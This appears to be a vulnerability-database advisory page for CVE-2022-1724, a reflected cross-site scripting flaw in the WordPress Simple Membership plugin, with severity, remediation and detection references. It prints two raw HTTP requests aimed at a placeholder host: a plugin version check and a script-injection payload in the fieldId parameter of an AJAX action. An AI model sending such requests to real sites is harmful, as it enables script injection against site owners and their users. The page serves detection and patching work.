🔙 목록으로 돌아가기

CVE-2022-1724: WordPress Simple Membership <4.1.1 - Cross-Site Scripting

TitleWordPress Simple Membership <4.1.1 - Cross-Site Scripting
AuthorAkincibor
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpdate to the latest version of WordPress Simple Membership plugin (4.1.1 or higher) to mitigate the vulnerability.
CVSS Score6.1
EPSS Score0.05224
CVE IDCVE-2022-1724
CWE IDCWE-79
Tags cve cve2022 xss wp wordpress wpscan wp-plugin simple-membership-plugin vuln

🔍 Vulnerability Description

WordPress Simple Membership plugin before 4.1.1 contains a reflected cross-site scripting vulnerability. It does not properly sanitize and escape parameters before outputting them back in AJAX actions.

🌐 HTTP Request

GET /wp-content/plugins/simple-membership/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:78.0) Gecko/20100101 Firefox/78.0
Connection: close
Accept-Encoding: gzip
GET /wp-admin/admin-ajax.php?action=swpm_validate_email&fieldId=%22%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1724.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-1724.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A